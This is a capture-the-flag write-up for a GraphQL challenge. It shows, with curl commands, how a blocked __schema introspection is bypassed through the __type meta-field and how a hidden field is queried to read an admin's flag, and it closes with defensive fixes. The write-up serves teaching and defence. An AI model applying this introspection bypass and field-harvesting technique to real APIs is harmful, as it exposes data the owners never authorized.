Back to KPMG CTF 2026 Campus Edition
Arclight 1 (API) - Writeup

Arclight 1 (API) - Writeup

Oct 12, 2026 3 min readWriteup 4 of 22#tutorial
On this page
  1. 1.Challenge Overview
  2. 2.Step 1: Map the Application
  3. 3.Step 2: Move to the Terminal
  4. 4.Step 3: Introspection — Blocked, Then Not
  5. 5.Step 4: Ask for the Hidden Field
  6. 6.Summary
  7. 7.Key Takeaways

Challenge Overview

EventKPMG CTF 2026 Campus Edition
ChallengeArclight 1
CategoryWeb / API (GraphQL)
Points20
Targetkicyber-...-arclight1-0-0.chals.io

"Every answer the directory gives you is one the UI decided you could see. The UI doesn't decide what the API returns. Ask it properly and see what falls out."

Arclight 1 challenge card

The brief is the whole lesson: the frontend chooses which fields to display, but the backend decides which fields to return, and those are two different things. This is a classic GraphQL excessive-data-exposure bug. The frontend asks for a safe subset of fields; the API will happily hand over more if you ask for them directly.


Step 1: Map the Application

After registering and logging in as test, the dashboard has sections: Directory, Projects, Travel, Developer, plus a Console and Logout.

Arclight dashboard

Watching the Network tab, each section fires a GET /category/<name> that returns small JSON blobs, the UI is just rendering selected API output.

Directory category JSON in Network tab

The Developer section is the pivot: it discloses an internal GraphQL endpoint at /graphql, and the Console page is a GraphQL query runner. Its default query is:

{ users { id username email } }

Query Console

Running it returns five users (k.mercer, t.okafor, j.vance, s.dial, r.noe) with id/username/email:

Console returns 5 users

So we have an authenticated GraphQL endpoint and a known query. The question the brief poses: what else is on that User type that the console query doesn't ask for?


Step 2: Move to the Terminal

Everything the browser does we can reproduce with curl, which makes field discovery faster. Grab the session cookie from DevTools → Storage → Cookies:

export BASE='https://kicyber-...-arclight1-0-0.chals.io'
export COOKIE='YOUR_SESSION_COOKIE'

# confirm the cookie is accepted
curl -sk -i "$BASE/dashboard" -H "Cookie: session=$COOKIE"   # → 200 OK

The session cookie decodes to {"role":"user","username":"test"}, useful context, but note we never needed to forge or escalate this role.


Step 3: Introspection — Blocked, Then Not

The standard GraphQL recon move is full schema introspection. The server refuses it by role:

curl -sk "$BASE/graphql" -H "Content-Type: application/json" -H "Cookie: session=$COOKIE" \
  --data-binary '{"query":"{ __schema { queryType { fields { name } } } }"}'
# {"error":"Introspection is not allowed for your role"}

That looks like a dead end, but it only blocked one introspection method. Introspection has multiple entry points, and the server only gated __schema. The per-type __type introspection meta-field is still open:

curl -sk "$BASE/graphql" -H "Content-Type: application/json" -H "Cookie: session=$COOKIE" \
  --data-binary '{"query":"{ __type(name: \"User\") { name fields { name type { kind name ofType { kind name } } } } }"}' | jq .

This returns the full User field list:

FieldType
idInt!shown in UI
usernameString!shown in UI
emailString!shown in UI
roleString!not requested by UI
flagStringnot requested by UI

There it is, a flag field the console query never selects.


Step 4: Ask for the Hidden Field

GraphQL returns exactly the fields you select, so just add role and flag to the selection set:

curl -sk "$BASE/graphql" -H "Content-Type: application/json" -H "Cookie: session=$COOKIE" \
  --data-binary '{"query":"{ users { id username role flag } }"}' | tee users.json | jq .

GraphQL query returning the flag field

The admin user carries the flag; everyone else is null:

{ "users": [
  { "id": 1, "username": "k.mercer", "role": "admin",
    "flag": "KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}" },
  { "id": 2, "username": "t.okafor", "role": "user", "flag": null },
  ...
]}

Filter to the non-null one:

jq -r '.users[] | select(.flag) | .flag' users.json
# KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}

Our role: user account read the admin's flag, no privilege escalation required.


Summary

StepActionResult
1Explore dashboard/graphql endpoint + console
2Reproduce query in curl5 users (id/username/email)
3__schema blocked; __type(User) allowedUser has hidden flag field
4Add flag to selectionAdmin's flag

Key Takeaways

  • Hiding a field in the UI is not access control. The frontend only requested id/username/email; the resolver still returned flag to anyone who asked. The server must enforce field-level authorization, the client's selection set can't be trusted to self-censor.
  • Blocking __schema ≠ disabling introspection. __type is a separate meta-field. The gate on one discovery path left per-type introspection wide open, which handed over the field name. Disable introspection fully (and still fix the underlying exposure), don't rely on it as a security boundary.
  • GraphQL returns exactly what you select. Unlike REST, where the server shapes the response, here the client picks fields. That flexibility is the vulnerability class: any sensitive field reachable on a returned type is exposed unless the resolver guards it.
  • No exotic exploitation needed. No SQLi, no JWT forgery, no brute force, just read the schema and ask for the field the UI never did. This is OWASP API3:2023 Broken Object Property Level Authorization / excessive data exposure.
  • Fixes: authorize sensitive fields in resolvers (flag should only resolve for the requesting user / privileged roles), keep secrets off general-purpose types entirely, and test that an ordinary account can't read admin-only properties.

Flag: KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}